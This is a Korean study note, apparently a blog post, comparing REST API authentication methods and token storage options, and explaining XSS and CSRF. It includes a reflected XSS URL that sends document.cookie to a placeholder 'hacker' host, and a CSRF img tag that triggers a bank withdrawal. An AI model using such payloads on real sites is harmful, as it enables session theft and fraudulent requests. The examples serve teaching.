보안 관점에서 REST API의 인증방식 종류와 쿠키의 대안

참고자료

토큰 인증방식 이란
REST API 보안 및 인증 방식
REST API 보안 및 인증
CORS

REST API 인증방식 종류

API Key 인증 방식

가장 기초적인 방식으로, API Key를 사용자에게 제공하여 유효한 API Key를 가진 사용자들만 API사용을 허용하는 방식이다.
API Key는 일종의 문자열이며, API를 사용하고자 할 때 개발자는 API 제공자의 포탈 페이지 등에서 API Key를 발급 받고, API를 호출할 때 API Key를 메시지 안에 넣어 호출한다. 서버는 메시지 안에서 API Key를 읽어 이 API가 누가 호출한 API인지를 인증하는 흐름이다.

모든 클라이언트들이 같은 API Key를 공유하기 때문에 한번 API Key가 노출이 되면 전체 API가 뚫려 버리는 문제가 있기 때문에 높은 보안 인증을 요구하는 경우에는 권장하지 않는다.

API Token 인증방식

• 장점

  • 인증이 간편하다
  • Stateless한 REST API에서 사용하기에 적합하다.

• 단점

  • 액세스 토큰을 탈취당하면 보안에 큰 취약점이 생긴다.

보안적인 단점을 극복하기 위해 토큰에 유효기간을 설정한다.

Refresh Token
하지만 여전히 토큰의 유효기간을 설정하여도 액세스 토큰을 탈취당하면 API에 접근이 가능하다.

위의 이슈를 해결하기 위해서 Refresh Token을 사용하면 좋다.

Access Token의 유효기간은 짧게 설정하고,
Refresh Token의 유효기간은 길게 설정하여 Access Token이 만료되었을 때
Refresh Token을 사용해 Access Token을 재발급하여 다시 사용하면 된다.

• 토큰 인증방식 설계
  • 사용자 로그인 시 access token과 refresh token을 2개 발급
  • access token은 payload에 유저정보를 가지고 있다.
  • refresh token은 서버에서 DB에 따로 key는 유저아이디, value는 토큰 형태로 저장
  • Client에서 refresh token과 만료된 access token으로 재발급 요청을 보내면
    • 만료된 토큰에서 유저정보를 얻고
    • DB에서 refresh token 존재 여부 확인
    • 유효기간 확인
    • 통과되면 access token을 재발급해준다.
  • refresh token은 payload에 아무 정보도 저장하지 않고 그저 유저가 가지고 있던 것과 DB에 저장된 것이 같은지만 확인한다.

---

Access Token 저장위치

Cookie Header

요청 Request에 Cookie에 액세스 토큰을 담아서 보내는 방식

• 장점

  • HttpOnly 옵션과 Secure옵션을 통해서 XSS공격을 방어할 수 있다.
  • 사용자의 토큰 값이 변경될 염려를 하지 않아도 된다.

• 단점

  • CSRF(Cross-site request forgery)에 대한 공격을 막을 수 없다.

• 참고문서

  • XSS
  • XSS
    • 입력값에 대한 검증을 잘 해주면 된다.
  • CSRF
    • 같은 도메인 상에서 요청이 들어오지 않는다면 차단하도록 하는 방식을 사용하면 어느정도 해결이 가능하다고 함

Authorization Header

• 장점
  • XSS공격과 CSRF공격에 대해 안전
  • Authorization Header에 값을 담아서 보내는 만큼, 그 값을 조작할 수 있는 경우의 수가 적다.
• 단점
  • 결국 Header에 담길 Access Token을 어디에 저장을 해야할까
  • 그 액세스 토큰을 저장하기 위해서는 또 Cookie나 Local Storage를 사용해야 하므로 취약해진다.

---

보안 지식 공부

XSS

Cross-site scripting

• 공격자가 유저들이 클라이언트 사이드 코드를 실행할 수 있도록 웹사이트를 조작
• 스크립트 실행 시 Cookies나 session tokens등을 탈취 혹은 공격자가 조작하는 웹페이지로 리다이렉트 시킨다
• Persistent XSS: 공격자가 게시판에 글을 작성해 유저가 글을 볼 때 스크립트가 실행되도록 하는 행위
  • 공격자는 script태그로 이루어진 내용의 글을 게시판에 작성하게되고 유저는 그 글을 열람할 때마다 스크립트를 실행시킵니다.
• Reflected XSS: GET 방식으로 검색기능을 구현한 웹 애플리케이션에 XSS 취약점이 있음을 확인한 해커는 공격코드를 작성하였습니다.
• http://testweb?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>
  • 서버에서는 검색결과로 스크립트 파일을 담아 넣어주게 될 것이고, 유저는 스크립트가 실행되면서 공격자의 페이지에 쿠키를 담아 전송해주게 됩니다.

CSRF

Cross-site request forgery

• 공격자가 유저의 브라우저를 이용해 요청을 날리도록 조정하는 것이다.
• XSS payload를 사용해 CSRF어택을 발생시킨다.

<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

위 예제에서 실제로 이미지가 아니지만 이미지 태그를 로딩할 때 유저의 브라우저를 이용해 back사이트에서 출금 요청을 날린다.

만약 로그인을 이미 한 상태였다면, 쿠키는 valid한 상태일 것이고 위의 요청으로 돈을 공격자에게 입금할 수 밖에 없는 것이다.

POST 요청을 필요로 하는 endpoints라고 하더라도 form 서브밋을 iframe을 이용해 날릴 수 있다.

결론

참고

• dz902님의 답변

결국 우리는 auth의 state (보통 토큰인증방식에서는 액세스토큰) 을 어딘가에는 저장을 해야만 한다.
그 저장위치가 Cookie인지
Local State인지의 여부가 달라질 뿐이다.
토큰에 들어가는 정보에는 민감한 정보는 포함하지 않는 것이 좋고
물론 암호화도 필요하다.
하지만 쿠키가 탈취당한다고 하더라도
CORS 설정 + 토큰 만료시간등을 이용하면
어느정도의 보안 위험을 예방할 수 있다.